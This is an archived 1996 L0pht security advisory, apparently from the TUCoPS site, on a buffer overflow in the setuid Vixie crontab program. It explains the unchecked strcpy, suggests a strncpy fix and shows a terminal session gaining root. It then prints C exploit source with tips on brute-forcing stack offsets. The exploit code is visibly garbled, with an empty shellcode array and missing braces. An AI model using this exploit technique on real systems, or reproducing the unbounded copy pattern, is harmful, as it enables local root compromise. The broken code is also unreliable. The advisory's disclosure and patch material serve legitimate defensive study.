Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: crontab.txt

Vixie crontab - any local user can gain root

Welp, we were meaning to get this out earlier but hey - things are
busy lately. Since Kevin Brintnall <> brought up that
BSD/OS and FreeBSD are also vulnerable but didn't want to
post the code - we take it upon ourselves to do so.

Sorry for sitting on this for so long...

                         L0pht Security Advisory
                      Advisory released Dec 17 1996
                   Application: crontab (Vixie crontab)
                      Severity: any local user can
                          gain root priveledges.


Due to a problem with the code in crontab, a buffer overflow exists that
allows a user to overwrite the information in a saved stack frame. When
the function returns, the saved frame is popped off of the stack and
user supplied code can be executed.


> id
uid=621 (mudge) gid=200(users)
> ./cronny -92
Using offset (0xefbfdbc8)
# id
uid=621 (mudge) euid=0(root) gid=200(users)


When crontab, a suid root program, is run with just a filename as it's
only argument the argument is copied into the variable Filename[MAX_FNAME].
Since this copy is done via strcpy, no bounds checking is done on the
length of the string being handed in. The code snippit from crontab.c
is as follows:

  static char      Filename[MAX_FNAME];

  [ from parse_args(argc, argc) ]
  if (argv[optind] != NULL) {
    Option = opt_replace;
    (void) strcpy (Filename, argv[optind]);

By placing a sufficently sized string in argv[1] it is possible to overwrite
the saved frame on the stack and, upon return from the routine execute
machine codes of the users contruction.


One fix to the above problem is to replace the strcpy() with strncpy().

  if (argv[optind] != NULL) {
    Option = opt_replace;
    (void) strncpy(Filename, argv[optind], sizeof(Filename));

However, this only takes care of _one_ of the exploitable buffer overflows
in crontab. Finding and fixing the others is left as an excercise to the
readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!]

Gratuitous plug:

OpenBSD has already fixed these problems in crontab around the date of
the exploit code below, if not a ways before. Talk about an OS with
pro-active security coders!

Exploit code:

 * crontab buffer overflow code -                   *
 * 10/12/96                                                         *
 *                                                                  *
 * So I was sitting here thinking... I know, it's a dangerous thing *
 * and you ever notice that hackers seem to have a surplus of time  *
 * on their hands? Well, I don't but hopefully if I keep coming out *
 * with things like this it will help to perpetuate the myth.       *
 *                                                                  *
 * There is a really cool buffer overflow in crond that bitwrior    *
 * spotted. So I figured that since the same person, Paul Vixie,    *
 * wrote crontab too that the same type of errors would probably be *
 * there. Sure enough!                                              *
 *                                                                  *
 * Ya gotta love command line overflows... just yank the code from  *
 * any existing one and brute on the new program. This is almost    *
 * verbatim from my modstat overflow.                               *
 *                                                                  *
 * try with offsets of -92, -348, 164, 296, 351 with the way this   *
 * is currently setup. If these fail, brute force it <grin>.        *

#include <stdio.h>
#include <stdlib.h>

long get_esp(void)
   __asm__("movl %esp, %eax\n");

main(int argc, char **argv)
   int i, j, offset;
   char *bar, *foo;
   unsigned long *esp_plus = NULL;

   char mach_codes[] =

   if (argc == 2)
     offset = atoi(argv[1]);

   bar = malloc(4096);
   if (!bar){
     fprintf(stderr, "failed to malloc memory\n");

   foo = bar;  /* copy of original ptr */

   esp_plus = (long *)bar;
   for(i=0; i < 1024 ; i++)
     *(esp_plus++) = (get_esp() + offset);

   printf("Using offset (0x%x)\n", (get_esp() + offset));

   bar = (char *)esp_plus;

   for(j=0; j< strlen(mach_codes); j++)
     *(bar++) = mach_codes[j];

   *bar = 0;

   execl("/usr/bin/crontab", "crontab", foo, NULL);

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH